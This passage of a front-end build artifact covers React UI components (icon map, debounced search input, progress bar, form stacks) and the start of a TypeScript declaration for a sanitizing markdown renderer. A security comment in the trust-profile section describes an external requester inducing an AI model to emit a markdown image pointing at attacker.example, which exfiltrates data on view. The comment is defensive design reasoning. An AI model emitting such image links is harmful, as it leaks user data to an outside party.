NiPhoneHandsetOff from \"./nexture/ni-phone-handset-off\";\nimport NiPhoneHandsetOn from \"./nexture/ni-phone-handset-on\";\nimport NiPin from \"./nexture/ni-pin\";\nimport NiPinCheck from \"./nexture/ni-pin-check\";\nimport NiPinCross from \"./nexture/ni-pin-cross\";\nimport NiPinPlus from \"./nexture/ni-pin-plus\";\nimport NiPine from \"./nexture/ni-pine\";\nimport NiPivot from \"./nexture/ni-pivot\";\nimport NiPlane from \"./nexture/ni-plane\";\nimport NiPlay from \"./nexture/ni-play\";\nimport NiPlug from \"./nexture/ni-plug\";\nimport NiPlus from \"./nexture/ni-plus\";\nimport NiPlusFull from \"./nexture/ni-plus-full\";\nimport NiPlusSquare from \"./nexture/ni-plus-square\";\nimport NiPolitics from \"./nexture/ni-politics\";\nimport NiPound from \"./nexture/ni-pound\";\nimport NiPoundSquare from \"./nexture/ni-pound-square\";\nimport NiPower from \"./nexture/ni-power\";\nimport NiPresentation from \"./nexture/ni-presentation\";\nimport NiPrevious from \"./nexture/ni-previous\";\nimport NiPrinter from \"./nexture/ni-printer\";\nimport NiProgress from \"./nexture/ni-progress\";\nimport NiPullRequestClosed from \"./nexture/ni-pull-request-closed\";\nimport NiPullRequestDraft from \"./nexture/ni-pull-request-draft\";\nimport NiPullRequestMerged from \"./nexture/ni-pull-request-merged\";\nimport NiPullRequestOpen from \"./nexture/ni-pull-request-open\";\nimport NiPulse from \"./nexture/ni-pulse\";\nimport NiPushPin from \"./nexture/ni-push-pin\";\nimport NiPushPinLeft from \"./nexture/ni-push-pin-left\";\nimport NiPushPinRight from \"./nexture/ni-push-pin-right\";\nimport NiPuzzle from \"./nexture/ni-puzzle\";\nimport NiQuestionHexagon from \"./nexture/ni-question-hexagon\";\nimport NiRadio from \"./nexture/ni-radio\";\nimport NiRankFour from \"./nexture/ni-rank-four\";\nimport NiRankOne from \"./nexture/ni-rank-one\";\nimport NiRankThree from \"./nexture/ni-rank-three\";\nimport NiRankTwo from \"./nexture/ni-rank-two\";\nimport NiReceipt from \"./nexture/ni-receipt\";\nimport NiRecord from \"./nexture/ni-record\";\nimport NiRefresh from \"./nexture/ni-refresh\";\nimport NiReligion from \"./nexture/ni-religion\";\nimport NiResearch from \"./nexture/ni-research\";\nimport NiRevenue from \"./nexture/ni-revenue\";\nimport NiReverseLeft from \"./nexture/ni-reverse-left\";\nimport NiReverseRight from \"./nexture/ni-reverse-right\";\nimport NiRobot from \"./nexture/ni-robot\";\nimport NiRocket from \"./nexture/ni-rocket\";\nimport NiRouter from \"./nexture/ni-router\";\nimport NiRows from \"./nexture/ni-rows\";\nimport NiSafe from \"./nexture/ni-safe\";\nimport NiScale from \"./nexture/ni-scale\";\nimport NiScalpel from \"./nexture/ni-scalpel\";\nimport NiScissors from \"./nexture/ni-scissors\";\nimport NiScreen from \"./nexture/ni-screen\";\nimport NiScriptSub from \"./nexture/ni-script-sub\";\nimport NiScriptSuper from \"./nexture/ni-script-super\";\nimport NiSdCard from \"./nexture/ni-sd-card\";\nimport NiSearch from \"./nexture/ni-search\";\nimport NiSelect from \"./nexture/ni-select\";\nimport NiSendDown from \"./nexture/ni-send-down\";\nimport NiSendDownLeft from \"./nexture/ni-send-down-left\";\nimport NiSendDownRight from \"./nexture/ni-send-down-right\";\nimport NiSendLeft from \"./nexture/ni-send-left\";\nimport NiSendRight from \"./nexture/ni-send-right\";\nimport NiSendUp from \"./nexture/ni-send-up\";\nimport NiSendUpLeft from \"./nexture/ni-send-up-left\";\nimport NiSendUpRight from \"./nexture/ni-send-up-right\";\nimport NiServer from \"./nexture/ni-server\";\nimport NiSettings from \"./nexture/ni-settings\";\nimport NiShare from \"./nexture/ni-share\";\nimport NiShield from \"./nexture/ni-shield\";\nimport NiShieldCheck from \"./nexture/ni-shield-check\";\nimport NiShieldCross from \"./nexture/ni-shield-cross\";\nimport NiShrinkFull from \"./nexture/ni-shrink-full\";\nimport NiShrinkSquare from \"./nexture/ni-shrink-square\";\nimport NiShuffle from \"./nexture/ni-shuffle\";\nimport NiSign from \"./nexture/ni-sign\";\nimport NiSignalLeftRight from \"./nexture/ni-signal-left-right\";\nimport NiSignalRight from \"./nexture/ni-signal-right\";\nimport NiSignalUp from \"./nexture/ni-signal-up\";\nimport NiSigns from \"./nexture/ni-signs\";\nimport NiSlashHexagon from \"./nexture/ni-slash-hexagon\";\nimport NiSlider from \"./nexture/ni-slider\";\nimport NiSnow from \"./nexture/ni-snow\";\nimport NiSoundCross from \"./nexture/ni-sound-cross\";\nimport NiSoundOff from \"./nexture/ni-sound-off\";\nimport NiSoundOn from \"./nexture/ni-sound-on\";\nimport NiSoundPlus from \"./nexture/ni-sound-plus\";\nimport NiSparkle from \"./nexture/ni-sparkle\";\nimport NiSpinner from \"./nexture/ni-spinner\";\nimport NiSquare from \"./nexture/ni-square\";\nimport NiSquircle from \"./nexture/ni-squircle\";\nimport NiStar from \"./nexture/ni-star\";\nimport NiStars from \"./nexture/ni-stars\";\nimport NiStomach from \"./nexture/ni-stomach\";\nimport NiStopwatch from \"./nexture/ni-stopwatch\";\nimport NiStore from \"./nexture/ni-store\";\nimport NiStructure from \"./nexture/ni-structure\";\nimport NiSum from \"./nexture/ni-sum\";\nimport NiSun from \"./nexture/ni-sun\";\nimport NiSwap from \"./nexture/ni-swap\";\nimport NiSwitch from \"./nexture/ni-switch\";\nimport NiTablet from \"./nexture/ni-tablet\";\nimport NiTag from \"./nexture/ni-tag\";\nimport NiTelescope from \"./nexture/ni-telescope\";\nimport NiTemperature from \"./nexture/ni-temperature\";\nimport NiTent from \"./nexture/ni-tent\";\nimport NiTerminal from \"./nexture/ni-terminal\";\nimport NiTextBold from \"./nexture/ni-text-bold\";\nimport NiTextCenter from \"./nexture/ni-text-center\";\nimport NiTextFont from \"./nexture/ni-text-font\";\nimport NiTextItalic from \"./nexture/ni-text-italic\";\nimport NiTextJustify from \"./nexture/ni-text-justify\";\nimport NiTextLeft from \"./nexture/ni-text-left\";\nimport NiTextQuote from \"./nexture/ni-text-quote\";\nimport NiTextRight from \"./nexture/ni-text-right\";\nimport NiTextStrikethrough from \"./nexture/ni-text-strikethrough\";\nimport NiTextUnderline from \"./nexture/ni-text-underline\";\nimport NiTextarea from \"./nexture/ni-textarea\";\nimport NiTicket from \"./nexture/ni-ticket\";\nimport NiTimeline from \"./nexture/ni-timeline\";\nimport NiTooth from \"./nexture/ni-tooth\";\nimport NiToyBoat from \"./nexture/ni-toy-boat\";\nimport NiToySky from \"./nexture/ni-toy-sky\";\nimport NiToyStacking from \"./nexture/ni-toy-stacking\";\nimport NiTrade from \"./nexture/ni-trade\";\nimport NiTree from \"./nexture/ni-tree\";\nimport NiTrendDown from \"./nexture/ni-trend-down\";\nimport NiTrendUp from \"./nexture/ni-trend-up\";\nimport NiTriangleDown from \"./nexture/ni-triangle-down\";\nimport NiTriangleLeft from \"./nexture/ni-triangle-left\";\nimport NiTriangleRight from \"./nexture/ni-triangle-right\";\nimport NiTriangleUp from \"./nexture/ni-triangle-up\";\nimport NiTrophy from \"./nexture/ni-trophy\";\nimport NiTruck from \"./nexture/ni-truck\";\nimport NiTubes from \"./nexture/ni-tubes\";\nimport NiUngroup from \"./nexture/ni-ungroup\";\nimport NiUnlike from \"./nexture/ni-unlike\";\nimport NiUnlock from \"./nexture/ni-unlock\";\nimport NiUploadCloud from \"./nexture/ni-upload-cloud\";\nimport NiUser from \"./nexture/ni-user\";\nimport NiUserCheck from \"./nexture/ni-user-check\";\nimport NiUserCross from \"./nexture/ni-user-cross\";\nimport NiUserMinus from \"./nexture/ni-user-minus\";\nimport NiUserPlus from \"./nexture/ni-user-plus\";\nimport NiUsers from \"./nexture/ni-users\";\nimport NiVerified from \"./nexture/ni-verified\";\nimport NiWallet from \"./nexture/ni-wallet\";\nimport NiWalletCrypto from \"./nexture/ni-wallet-crypto\";\nimport NiWatch from \"./nexture/ni-watch\";\nimport NiWeightScale from \"./nexture/ni-weight-scale\";\nimport NiWind from \"./nexture/ni-wind\";\nimport NiWorld from \"./nexture/ni-world\";\nimport NiZoomIn from \"./nexture/ni-zoom-in\";\nimport NiZoomOut from \"./nexture/ni-zoom-out\";\n\nexport const IconMap = {\n NiAI,\n NiAirBalloon,\n NiAnchor,\n NiAnnouncement,\n NiAntenna,\n NiArchiveCheck,\n NiArchive,\n NiArrowCircleLeft,\n NiArrowCircleRight,\n NiArrowDownLeftSquare,\n NiArrowDownLeft,\n NiArrowDownRightSquare,\n NiArrowDownRight,\n NiArrowDownSquare,\n NiArrowDown,\n NiArrowHistory,\n NiArrowInDown,\n NiArrowInLeft,\n NiArrowInRight,\n NiArrowInUp,\n NiArrowLeftRight,\n NiArrowLeftSquare,\n NiArrowLeft,\n NiArrowOutDown,\n NiArrowOutLeft,\n NiArrowOutRight,\n NiArrowOutUp,\n NiArrowRightSquare,\n NiArrowRight,\n NiArrowUpDown,\n NiArrowUpLeftSquare,\n NiArrowUpLeft,\n NiArrowUpRightSquare,\n NiArrowUpRight,\n NiArrowUpSquare,\n NiArrowUp,\n NiAt,\n NiBadgeCheck,\n NiBadge,\n NiBag,\n NiBandAid,\n NiBarcode,\n NiBasket,\n NiBatteryCharging,\n NiBatteryEmpty,\n NiBatteryFull,\n NiBellInactive,\n NiBell,\n NiBinEmpty,\n NiBinFull,\n NiBloodCells,\n NiBluetooth,\n NiBook,\n NiBookmarkSingle,\n NiBookmark,\n NiBraces,\n NiBrackets,\n NiBrain,\n NiBrainCircuit,\n NiBriefcase,\n NiBrushArtSquare,\n NiBrushArt,\n NiBrush,\n NiBug,\n NiBuilding,\n NiBulbOff,\n NiBulbOn,\n NiButton,\n NiButtonGroup,\n NiButtonLarge,\n NiCake,\n NiCalendar,\n NiCalendarClock,\n NiCamera,\n NiCar,\n NiCartArrow,\n NiCartCross,\n NiCartEmpty,\n NiCartMinus,\n NiCartPlus,\n NiCatalog,\n NiCellsPlus,\n NiCells,\n NiChange,\n NiChartBar,\n NiChartCandleSticks,\n NiChartFunnel,\n NiChartHeatmap,\n NiChartLineBar,\n NiChartLine,\n NiChartPie,\n NiChartPolar,\n NiChartRadar,\n NiChartScatter,\n NiCheckSquare,\n NiCheck,\n NiCheckFull,\n NiChef,\n NiChevronDownSmall,\n NiChevronDown,\n NiChevronLeftRightReverseSmall,\n NiChevronLeftRightSmall,\n NiChevronLeftSmall,\n NiChevronLeft,\n NiChevronRightSmall,\n NiChevronRight,\n NiChevronUpDownReverseSmall,\n NiChevronUpDownSmall,\n NiChevronUpSmall,\n NiChevronUp,\n NiCholesterol,\n NiCircle,\n NiClipboard,\n NiClock,\n NiCloudPartly,\n NiCloudRain,\n NiCloudSnow,\n NiCloudThunder,\n NiCloud,\n NiCode,\n NiCoffee,\n NiCoin,\n NiCollapse,\n NiCollapseIn,\n NiCols,\n NiCompass,\n NiController,\n NiCopyright,\n NiCpu,\n NiCreditCard,\n NiCrop,\n NiCrossHexagon,\n NiCrossSquare,\n NiCross,\n NiCrossFull,\n NiCrosshair,\n NiCrown,\n NiCursor,\n NiDashboard,\n NiDatabase,\n NiDevops,\n NiDiagram,\n NiDice,\n NiDirectory,\n NiDocumentArchive,\n NiDocumentChart,\n NiDocumentCheck,\n NiDocumentCode,\n NiDocumentCross,\n NiDocumentFull,\n NiDocumentImage,\n NiDocumentMinus,\n NiDocumentNumber,\n NiDocumentPlus,\n NiDocumentVideo,\n NiDollarSquare,\n NiDollar,\n NiDotsSquare,\n NiDownloadCloud,\n NiDragHorizontal,\n NiDragVertical,\n NiDrink,\n NiDrop,\n NiDuplicate,\n NiEllipsisHorizontal,\n NiEllipsisVertical,\n NiEmailOpen,\n NiEmail,\n NiEndDownSmall,\n NiEndLeftSmall,\n NiEndRightSmall,\n NiEndUpSmall,\n NiEnterDown,\n NiEnterLeft,\n NiEnterReverseDown,\n NiEnterReverseLeft,\n NiEnterReverseRight,\n NiEnterReverseUp,\n NiEnterRight,\n NiEnterUp,\n NiEquals,\n NiEqualsFull,\n NiEraser,\n NiEuroSquare,\n NiEuro,\n NiExclamationHexagon,\n NiExclamationSquare,\n NiExpandOut,\n NiExpandSquare,\n NiExpandFull,\n NiExpand,\n NiExternal,\n NiEyeClose,\n NiEyeInactive,\n NiEyeOpen,\n NiFaceFrownMore,\n NiFaceFrown,\n NiFaceNeutral,\n NiFaceSmileMore,\n NiFaceSmile,\n NiFemale,\n NiFilterCross,\n NiFilterMinus,\n NiFilterPlus,\n NiFilter,\n NiFingerprint,\n NiFire,\n NiFirstAid,\n NiFitness,\n NiFlag,\n NiFlash,\n NiFlask,\n NiFloppyDisk,\n NiFolderCheck,\n NiFolderCross,\n NiFolderMinus,\n NiFolderPlus,\n NiFolder,\n NiForwardDownSmall,\n NiForwardLeftSmall,\n NiForwardRightSmall,\n NiForwardUpSmall,\n NiGay,\n NiGerm,\n NiGogo,\n NiGold,\n NiGpu,\n NiGroup,\n NiGraduation,\n NiHeadphones,\n NiHeadset,\n NiHeadsetMic,\n NiHealth,\n NiHeart,\n NiHeartRate,\n NiHearts,\n NiHome,\n NiInbox,\n NiInfoSquare,\n NiInjection,\n NiInput,\n NiIntegration,\n NiInternal,\n NiIv,\n NiJoin,\n NiKey,\n NiKeyboard,\n NiKnobs,\n NiLaptop,\n NiLayout,\n NiLaw,\n NiLike,\n NiLinkBroken,\n NiLink,\n NiListCheck,\n NiListChevronDown,\n NiListCircle,\n NiListCross,\n NiListNumber,\n NiListSquare,\n NiList,\n NiLungs,\n NiLoader,\n NiLock,\n NiLuggage,\n NiMagicWand,\n NiMale,\n NiMap,\n NiMasonary,\n NiMedal,\n NiMenu,\n NiMenuLeft,\n NiMenuRight,\n NiMenuSplitDotReverse,\n NiMenuSplitDot,\n NiMenuSplitReverse,\n NiMenuSplit,\n NiMessageCheck,\n NiMessageCross,\n NiMessageDots,\n NiMessageFilled,\n NiMessageGrammar,\n NiMessagePlus,\n NiMessage,\n NiMessages,\n NiMicrophone,\n NiMinus,\n NiMinusFull,\n NiMinusSquare,\n NiMoneyBag,\n NiMoney,\n NiMoon,\n NiMountain,\n NiMouse,\n NiMove,\n NiMusic,\n NiNetwork,\n NiNext,\n NiOxygen,\n NiPaintBucket,\n NiPaintRoller,\n NiPalette,\n NiPaperclip,\n NiParentheses,\n NiPath,\n NiPause,\n NiPenSquare,\n NiPen,\n NiPercent,\n NiPhoneHandsetCheck,\n NiPhoneHandsetOff,\n NiPhoneHandsetOn,\n NiPhoneHandset,\n NiPhone,\n NiPinCheck,\n NiPinCross,\n NiPinPlus,\n NiPin,\n NiPine,\n NiPivot,\n NiPlane,\n NiPlay,\n NiPlug,\n NiPlusSquare,\n NiPlus,\n NiPlusFull,\n NiPolitics,\n NiPoundSquare,\n NiPound,\n NiPower,\n NiPresentation,\n NiPrevious,\n NiPrinter,\n NiProgress,\n NiPullRequestClosed,\n NiPullRequestDraft,\n NiPullRequestMerged,\n NiPullRequestOpen,\n NiPulse,\n NiPushPin,\n NiPushPinLeft,\n NiPushPinRight,\n NiPuzzle,\n NiQuestionHexagon,\n NiRankOne,\n NiRankTwo,\n NiRankThree,\n NiRankFour,\n NiRadio,\n NiReceipt,\n NiRecord,\n NiRefresh,\n NiReligion,\n NiResearch,\n NiRevenue,\n NiReverseLeft,\n NiReverseRight,\n NiRobot,\n NiRocket,\n NiRouter,\n NiRows,\n NiSafe,\n NiScale,\n NiScalpel,\n NiScissors,\n NiScreen,\n NiScriptSub,\n NiScriptSuper,\n NiSdCard,\n NiSearch,\n NiSelect,\n NiSendDownLeft,\n NiSendDownRight,\n NiSendDown,\n NiSendLeft,\n NiSendRight,\n NiSendUpLeft,\n NiSendUpRight,\n NiSendUp,\n NiServer,\n NiSettings,\n NiShare,\n NiShieldCheck,\n NiShieldCross,\n NiShield,\n NiShrinkSquare,\n NiShrinkFull,\n NiShuffle,\n NiSign,\n NiSignalLeftRight,\n NiSignalRight,\n NiSignalUp,\n NiSigns,\n NiSlashHexagon,\n NiSlider,\n NiSnow,\n NiSoundCross,\n NiSoundOff,\n NiSoundOn,\n NiSoundPlus,\n NiSparkle,\n NiSpinner,\n NiSquare,\n NiSquircle,\n NiStar,\n NiStars,\n NiStopwatch,\n NiStore,\n NiStomach,\n NiStructure,\n NiSum,\n NiSun,\n NiSwap,\n NiSwitch,\n NiTablet,\n NiTag,\n NiTelescope,\n NiTemperature,\n NiTent,\n NiTerminal,\n NiTextBold,\n NiTextCenter,\n NiTextFont,\n NiTextItalic,\n NiTextJustify,\n NiTextLeft,\n NiTextQuote,\n NiTextRight,\n NiTextStrikethrough,\n NiTextUnderline,\n NiTextarea,\n NiTicket,\n NiTimeline,\n NiTooth,\n NiToyBoat,\n NiToySky,\n NiToyStacking,\n NiTrade,\n NiTree,\n NiTrendDown,\n NiTrendUp,\n NiTriangleDown,\n NiTriangleLeft,\n NiTriangleRight,\n NiTriangleUp,\n NiTrophy,\n NiTruck,\n NiTubes,\n NiUngroup,\n NiUnlike,\n NiUnlock,\n NiUploadCloud,\n NiUserCheck,\n NiUserCross,\n NiUserMinus,\n NiUserPlus,\n NiUser,\n NiUsers,\n NiVerified,\n NiWalletCrypto,\n NiWallet,\n NiWatch,\n NiWeightScale,\n NiWind,\n NiWorld,\n NiZoomIn,\n NiZoomOut,\n};\n\nexport type IconName = keyof typeof IconMap;\nexport type IconSize = \"large\" | \"medium\" | \"small\" | \"tiny\" | number;\nexport type IconVariant = \"outlined\" | \"contained\";\n\nexport type NextureIconsProps = {\n variant?: IconVariant;\n className?: string;\n size?: IconSize;\n strokeWidth?: number;\n oneTone?: boolean;\n};\n\nexport type NextureIconsPropsComponent = NextureIconsProps & {\n icon: IconName;\n};\n\nconst NextureIcons: React.FC<NextureIconsPropsComponent> = ({\n icon,\n size = 20,\n variant = \"outlined\",\n className,\n strokeWidth = 1.5,\n oneTone = false,\n}) => {\n const IconComponent = IconMap[icon];\n if (!IconComponent) {\n console.warn(`Icon \"${icon}\" not found in IconMap.`);\n return null;\n }\n return (\n <IconComponent variant={variant} size={size} className={className} strokeWidth={strokeWidth} oneTone={oneTone} />\n );\n};\n\nexport const sizeHelper = (size: NextureIconsProps[\"size\"]) => {\n if (typeof size === \"number\") {\n return size;\n } else if (size === \"large\") {\n return 24;\n } else if (size === \"small\" || size === \"tiny\") {\n return 16;\n } else {\n return 20;\n }\n};\n\nexport const strokeSizeHelper = (size: number) => {\n if (size === 32) {\n return 1.15;\n } else if (size >= 20) {\n return 1.5;\n } else {\n return 1.75;\n }\n};\n\nexport default NextureIcons;\n","import { memo, useCallback, useEffect, useId, useRef, useState } from \"react\";\nimport { FilledInput, FormControl, IconButton, InputAdornment, InputLabel } from \"@mui/material\";\n\nimport { NiCross, NiSearch } from \"../../icons/nexture\";\n\ninterface DebouncedSearchInputProps {\n value?: string;\n onChange: (value: string) => void;\n label?: string;\n delay?: number;\n className?: string;\n}\n\n/**\n * Self-contained search input that manages its own typing state.\n * Only calls `onChange` after a debounce, preventing expensive parent re-renders\n * (e.g. DataGrid) on every keystroke.\n *\n * Promoted here from `sales` and `timesheets`, where the file was byte-identical in both and a\n * third search field had been hand-mirrored from it in a shared toolbar. \"Search bars don't look\n * the same\" is not a problem a lint rule can fix - only one implementation can - so this is the\n * implementation, and `coreconnect/no-local-search-input` is the backstop that stops the next\n * plugin writing a fourth.\n *\n * Class composition uses the package's existing join idiom rather than a `cn`/tailwind-merge\n * helper, which keeps `plugin-ui` free of new runtime dependencies. No caller passes a conflicting\n * utility class today, so tailwind-merge's conflict resolution is unexercised; a caller that needs\n * it should override via `sx` instead of racing class order.\n */\nexport const DebouncedSearchInput = memo(function DebouncedSearchInput({\n value = \"\",\n onChange,\n label = \"Search\",\n delay = 400,\n className,\n}: DebouncedSearchInputProps) {\n const [localValue, setLocalValue] = useState(value);\n // Associate the InputLabel with the FilledInput — a bare FormControl+InputLabel+Input\n // doesn't auto-link them (unlike TextField), leaving the label without a `for` target.\n const inputId = useId();\n const onChangeRef = useRef(onChange);\n onChangeRef.current = onChange;\n const lastReportedRef = useRef(value);\n const isFirstRender = useRef(true);\n\n // Sync external value changes (e.g. clear from parent)\n useEffect(() => {\n setLocalValue(value);\n lastReportedRef.current = value;\n }, [value]);\n\n // Debounce: notify parent only after typing pauses (skip initial mount)\n useEffect(() => {\n if (isFirstRender.current) {\n isFirstRender.current = false;\n return;\n }\n if (localValue === lastReportedRef.current) return;\n const timer = setTimeout(() => {\n lastReportedRef.current = localValue;\n onChangeRef.current(localValue);\n }, delay);\n return () => clearTimeout(timer);\n }, [localValue, delay]);\n\n const handleClear = useCallback(() => {\n setLocalValue(\"\");\n lastReportedRef.current = \"\";\n onChangeRef.current(\"\");\n }, []);\n\n const classes = (...parts: (string | false | undefined)[]) => parts.filter(Boolean).join(\" \");\n\n return (\n <FormControl variant=\"filled\" size=\"medium\" className={classes(\"surface mb-0 w-full\", className)}>\n <InputLabel htmlFor={inputId}>{label}</InputLabel>\n <FilledInput\n id={inputId}\n value={localValue}\n onChange={(e) => setLocalValue(e.target.value)}\n endAdornment={\n <>\n <InputAdornment position=\"end\" className={classes(localValue === \"\" && \"hidden\")}>\n <IconButton edge=\"end\" onClick={handleClear} aria-label=\"Clear search\">\n <NiCross size=\"medium\" className=\"text-text-disabled\" />\n </IconButton>\n </InputAdornment>\n <InputAdornment position=\"end\" className={classes(localValue !== \"\" && \"hidden\")} aria-hidden>\n <IconButton edge=\"end\" disabled tabIndex={-1}>\n <NiSearch size=\"medium\" className=\"text-text-disabled\" />\n </IconButton>\n </InputAdornment>\n </>\n }\n />\n </FormControl>\n );\n});\n","import type { SxProps, Theme } from \"@mui/material\";\nimport { LinearProgress } from \"@mui/material\";\n\ninterface ProgressBarProps {\n /**\n * Percentage complete, when the caller has a real current-of-total.\n *\n * <p><b>Omit it for an indeterminate bar</b>, which is the honest default when no total exists.\n * Tested with `typeof`, so `value={0}` stays determinate - zero is a real measurement and a\n * truthiness check would silently discard it and switch to a moving bar.</p>\n */\n value?: number;\n /** Layout overrides. The canonical height and radius are applied first, so they can be replaced. */\n sx?: SxProps<Theme>;\n /** For a bar whose meaning is not obvious from its surroundings. */\n \"aria-label\"?: string;\n}\n\n/**\n * The platform's progress bar: a `LinearProgress` carrying the one agreed height and radius.\n *\n * <p><b>Promoted because the numbers were the duplication, not the component.</b>\n * `sx={{ height: 6, borderRadius: 3 }}` was hand-written in ten files across five repos - the\n * monolith's background-operation banner, the tech repo-import indicator, the self-healing fix\n * banner, and SEVEN determinate metric bars in HR (OKR progress, onboarding and offboarding\n * checklists, review progress, the recruitment funnel). Several carried comments apologising for\n * the magic pair. Two numbers repeated ten times is a token that was never extracted.</p>\n *\n * <p><b>Deliberately NOT a banner.</b> Most of those sites are not announcing background work at\n * all - they are metric bars inside cards and list rows. {@link InProgressBanner} is the banner,\n * and it composes THIS, so the bar has one definition and the banner does not own it.</p>\n *\n * <p><b>No lint rule, unlike the promoted components.</b> The enforceable version would either\n * pattern-match literal `sx` values, which is fragile, or ban `LinearProgress` from the ui barrel\n * outright, which is too broad - a caller with genuinely different styling is legitimate. The\n * duplication here is a value rather than a shape, so this is a convention with one home, not a\n * gate.</p>\n */\nexport function ProgressBar({ value, sx, ...rest }: ProgressBarProps) {\n return (\n <LinearProgress\n variant={typeof value === \"number\" ? \"determinate\" : \"indeterminate\"}\n value={value}\n sx={{ height: 6, borderRadius: 3, ...sx }}\n {...rest}\n />\n );\n}\n","import type { ComponentPropsWithoutRef } from \"react\";\n\n/** Join a fixed class with an optional caller-supplied one, dropping falsy parts. */\nfunction joinClasses(...parts: Array<string | undefined>): string {\n return parts.filter(Boolean).join(\" \");\n}\n\n/**\n * A vertical stack of form fields rendered as the <form> element itself,\n * carrying the standard 24px field spacing via the `.form-fields` class shipped\n * in `@ethisyscore/plugin-ui/plugin-base.css`.\n *\n * Use when the container is the form (a dialog or page form). The spacing comes\n * from the class, not from the element being a MUI Stack in a particular DOM\n * position, so it works at any nesting depth. `noValidate` defaults to true\n * because plugin forms validate through react-hook-form; pass\n * `noValidate={false}` to opt back into native browser validation. Mirrors the\n * host-app `src/components/ui/form-stack.tsx`.\n */\nexport function FormStack({ className, noValidate = true, ...props }: ComponentPropsWithoutRef<\"form\">) {\n return <form noValidate={noValidate} className={joinClasses(\"form-fields\", className)} {...props} />;\n}\n\n/**\n * A vertical stack of form fields rendered as a <div>, carrying the same 24px\n * spacing as FormStack.\n *\n * Use for a field group nested inside an existing form, or a wizard step, where\n * a nested <form> element would be invalid HTML.\n */\nexport function FieldStack({ className, ...props }: ComponentPropsWithoutRef<\"div\">) {\n return <div className={joinClasses(\"form-fields\", className)} {...props} />;\n}\n"]}
@@ -0,0 +1,236 @@
1
+ import * as react from 'react';
2
+ import { PluggableList } from 'unified';
3
+ import { Components, ExtraProps } from 'react-markdown';
4
+ import { Schema } from 'hast-util-sanitize';
5
+
6
+ /**
7
+ * The trust profiles, as a runtime value.
8
+ *
9
+ * A TypeScript union is erased at compile time, so `trust` as a type alone is not a
10
+ * control: a JS caller, an `as` cast, or a value read out of JSON or a plugin
11
+ * manifest can hand in any string, and equality checks against the ONE safe value
12
+ * ("untrusted") then select the permissive branch by falling through. The list lives
13
+ * here, once, and {@link MarkdownTrust} is derived from it so the type and the
14
+ * runtime check cannot drift.
15
+ */
16
+ declare const MARKDOWN_TRUST_VALUES: readonly ["untrusted", "internal"];
17
+ /**
18
+ * Who wrote the string. Drives image policy and NOTHING else.
19
+ * - "untrusted": authored by a user or an external requester (ticket bodies and
20
+ * comments, chat messages, project descriptions/updates, a local compose
21
+ * preview). Remote images are replaced by a placeholder before sanitize, and
22
+ * `img` is stripped from the allowlist as belt-and-braces. No outbound
23
+ * request fires on view.
24
+ * - "internal": FIRST-PARTY copy shown to its own audience — content this
25
+ * product wrote, such as the gogo ai-chat template demo. Keeps the current
26
+ * `defaultSchema` image allowance (src restricted to http/https).
27
+ *
28
+ * MODEL OUTPUT IS NOT AUTOMATICALLY "internal". The question is the provenance of
29
+ * the model's INPUT, not of its output. A summary generated FROM a ticket body,
30
+ * a chat thread or a commit message inherits that input's trust: an external
31
+ * requester who gets the model to emit `![](https://attacker.example/?q=…)` has an
32
+ * exfiltration channel that fires from an authenticated agent's browser on view.
33
+ * Every AI surface in this estate is derived from user-authored input and is
34
+ * therefore "untrusted"; reach for "internal" only for copy nobody outside the
35
+ * product wrote. If a derived surface ever genuinely needs images, that is the
36
+ * argument for a third profile, not for widening this one.
37
+ *
38
+ * There is no third value and no way to hand a schema in from a call site.
39
+ */
40
+ type MarkdownTrust = (typeof MARKDOWN_TRUST_VALUES)[number];
41
+
42
+ /**
43
+ * # The markdown contract
44
+ *
45
+ * One renderer for every EthisysCore surface, built directly on `react-markdown`.
46
+ *
47
+ * ## WHY THERE IS NO `rehypePlugins` PROP (read before adding one)
48
+ *
49
+ * This package exists because five renderers and five copies of a sanitize schema
50
+ * had drifted apart across six repositories. The single property that matters is
51
+ * that `rehype-sanitize` runs LAST in the rehype chain — a plugin appended after
52
+ * it can put anything it likes into the tree and nothing will strip it.
53
+ *
54
+ * A `rehypePlugins` prop makes that property a convention: correct only while every
55
+ * call site remembers to put the sanitizer at the end. It was exactly that
56
+ * unenforced ordering (in `ds-markdown`, whose single ordered `plugins` array
57
+ * decides whether sanitize runs last) that got the wrapper approach rejected.
58
+ *
59
+ * So the chain is not reachable from a call site. The only route into the hast
60
+ * stage is {@link MarkdownCapability.rehypeBeforeSanitize}, whose NAME states its
61
+ * position and whose type has no sibling that could express "after". "Sanitize
62
+ * runs last" is not documented here as a rule to follow — it is unrepresentable.
63
+ *
64
+ * The first pressure on this design will be "just let me pass one rehype plugin".
65
+ * The answer is a {@link MarkdownCapability}: it can contribute remark plugins,
66
+ * pre-sanitize rehype plugins, element renderers, and a reviewed widening of the
67
+ * sanitize schema. That covers every real need and none of the dangerous one.
68
+ *
69
+ * Also deliberately absent: `sanitizeSchema` (no call site may replace the
70
+ * allowlist), `skipHtml` (always `true`), `urlTransform` (react-markdown v10's
71
+ * default already blocks `javascript:`), `className`/`variant`/`dense` (the
72
+ * component emits no wrapper — callers own their wrapper and its class, and the
73
+ * package ships `.ethisys-md` / `.ethisys-md--dense` for them to apply).
74
+ */
75
+ /** Re-exported so consumers widening a schema need no direct hast/react-markdown dep. */
76
+ type MarkdownComponents = Components;
77
+ type MarkdownSanitizeSchema = Schema;
78
+ /**
79
+ * The extra props react-markdown hands an element renderer — chiefly `node`, the
80
+ * hast element, whose `properties` is how a custom tag reads its own attributes.
81
+ *
82
+ * Re-exported (it is react-markdown's `ExtraProps`) because `react-markdown` is
83
+ * lint-banned everywhere outside this module: without this, the first consumer to
84
+ * write a `components` override that reads `node` has to declare a private copy of
85
+ * the shape, which is the drift this package exists to stop. Extend it:
86
+ *
87
+ * interface AttachmentTokenProps extends MarkdownElementProps { … }
88
+ */
89
+ type MarkdownElementProps = ExtraProps;
90
+
91
+ /**
92
+ * An opt-in extension to the pipeline.
93
+ *
94
+ * NOTE the shape: there is no field that can place a plugin AFTER sanitize.
95
+ * "sanitize runs last" is not a convention here — it is unrepresentable. A
96
+ * capability whose own output would otherwise be stripped widens the SCHEMA
97
+ * (`extendSchema`), which is strictly safer than running after the sanitizer.
98
+ *
99
+ * WHAT THE GUARDS ARE FOR, AND WHAT THEY ARE NOT. They police the SCHEMA seam, which
100
+ * is data: a widening can be read, judged and frozen before the sanitizer ever sees
101
+ * it, so a mistake there is catchable. They do not, and cannot, sandbox a capability.
102
+ * A capability is first-party code running in this realm: it can supply a `components`
103
+ * renderer that emits whatever it likes after sanitize (see below), it can `fetch()`
104
+ * from a `rehypeBeforeSanitize` plugin without rendering anything, and it can reassign
105
